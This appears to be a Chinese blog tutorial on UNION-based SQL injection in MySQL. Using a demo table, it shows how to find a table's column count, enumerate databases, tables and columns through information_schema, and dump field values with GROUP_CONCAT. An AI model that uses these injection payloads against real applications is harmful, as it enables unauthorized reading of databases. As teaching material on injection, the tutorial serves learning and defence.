SQL注入--联合查询注入


在SQL注入时,常常使用联合查询的方法(union)。将从不同表中查询的信息结合在一张表中同时显示出来。 (select选出的列数相同才能用unoin)

获取表的列数

使用union,如果想要在一张表中显示联合查询的内容,那么union关键字后面查询的内容的列数要和被查询(表名:user123)表的列数一致,才不会报错;利用此方法,可以尝试破解出user123表的列数

SELECT * from user123 WHERE name=002 UNION SELECT 1,2,3
--如果union后面是 select 1,2  则报错,
--因为user123有3列;select 1,2 只能显示2列;无法在同一个表中显示

获取mysql中所有数据库的库名

SELECT * from user WHERE name=002 UNION 
SELECT 11,2,(SELECT GROUP_CONCAT(schema_name) 
FROM information_schema.schemata LIMIT 0,1)

在这里插入图片描述

  1. schemata(自动生成)是information_schema(自动生成)数据库中的一个表,记录了mysql中的所有数据库名
  2. GROUP_CONCAT()是将所有符合的信息都显示在一个格子中
  3. limit是限制显示的行数。limit 1 表示只显示前1行

在这里插入图片描述

获取指定数据库中的表名

SELECT * from user123 WHERE name=002 
UNION SELECT 11,2,(SELECT GROUP_CONCAT(table_name) 
FROM information_schema.TABLES WHERE table_schema='sql_inject')

在这里插入图片描述

  1. tables(自动生成)是information_schema(自动生成)数据库中的一个表,记录了mysql中的所有数据库的表名
    在这里插入图片描述

获取指定表中的所有字段名

前面已经获取到了表名为:user123,下面可以直接进行利用

SELECT * from user123 WHERE name=002 
UNION SELECT 11,2,(SELECT GROUP_CONCAT(column_name) 
FROM information_schema.columns where table_name='user123')

在这里插入图片描述

  1. columns(自动生成)是information_schema(自动生成)数据库中的一个表,记录了mysql中的所有数据库中每一个表的字段名
  2. column_name是字段名(列名)
    在这里插入图片描述

获取字段中的值

前面已经获取到了表名为:user123,字段名(name,age,sex),下面可以直接进行利用

SELECT * from user123 WHERE name=002 
UNION SELECT 11,2,(SELECT GROUP_CONCAT(age) FROM user123)

在这里插入图片描述

  1. GROUP_CONCAT()是将所有符合的信息都显示在一个格子中
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Buffedon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值